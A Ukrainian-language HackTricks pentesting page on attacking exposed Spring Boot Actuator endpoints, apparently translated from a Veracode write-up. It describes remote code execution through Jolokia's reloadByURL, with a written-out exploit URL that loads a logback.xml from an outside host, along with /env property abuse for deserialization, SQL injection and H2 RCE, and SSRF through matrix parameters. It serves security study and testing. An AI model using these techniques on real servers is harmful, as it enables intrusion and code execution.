Spring Actuators
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
З https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Перевірте оригінальну публікацію з [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Spring Boot Actuators реєструють кінцеві точки, такі як /health
, /trace
, /beans
, /env
тощо. У версіях з 1 до 1.4 ці кінцеві точки доступні без аутентифікації. З версії 1.5 і далі лише /health
і /info
за замовчуванням не є чутливими, але розробники часто відключають цю безпеку.
Деякі кінцеві точки Actuator можуть розкривати чутливі дані або дозволяти шкідливі дії:
/dump
, /trace
, /logfile
, /shutdown
, /mappings
, /env
, /actuator/env
, /restart
та /heapdump
.
У Spring Boot 1.x актюатори реєструються під кореневою URL, тоді як у 2.x вони знаходяться під базовим шляхом /actuator/
.
Віддалене виконання коду через '/jolokia':
Кінцева точка актора /jolokia
відкриває бібліотеку Jolokia, яка дозволяє HTTP доступ до MBeans.
Дію reloadByURL
можна експлуатувати для перезавантаження конфігурацій журналювання з зовнішнього URL, що може призвести до сліпого XXE або віддаленого виконання коду через спеціально підготовлені XML конфігурації.
Приклад URL для експлуатації: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
Модифікація конфігурації через '/env':
Якщо присутні бібліотеки Spring Cloud, кінцева точка /env
дозволяє модифікацію властивостей середовища.
Властивості можна маніпулювати для експлуатації вразливостей, таких як вразливість десеріалізації XStream у службі Eureka serviceURL.
Приклад POST запиту для експлуатації:
Інші корисні налаштування:
Властивості, такі як spring.datasource.tomcat.validationQuery
, spring.datasource.tomcat.url
та spring.datasource.tomcat.max-active
, можна маніпулювати для різних експлуатацій, таких як SQL-ін'єкція або зміна рядків підключення до бази даних.
Повний список стандартних актюаторів можна знайти тут.
Кінцева точка /env
у Spring Boot 2.x використовує формат JSON для модифікації властивостей, але загальна концепція залишається такою ж.
Env + H2 RCE:
Деталі про експлуатацію комбінації кінцевої точки /env
та бази даних H2 можна знайти тут.
SSRF на Spring Boot через неправильне тлумачення імені шляху:
Обробка матричних параметрів (;
) у HTTP іменах шляхів фреймворком Spring може бути використана для Server-Side Request Forgery (SSRF).
Приклад запиту для експлуатації:
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)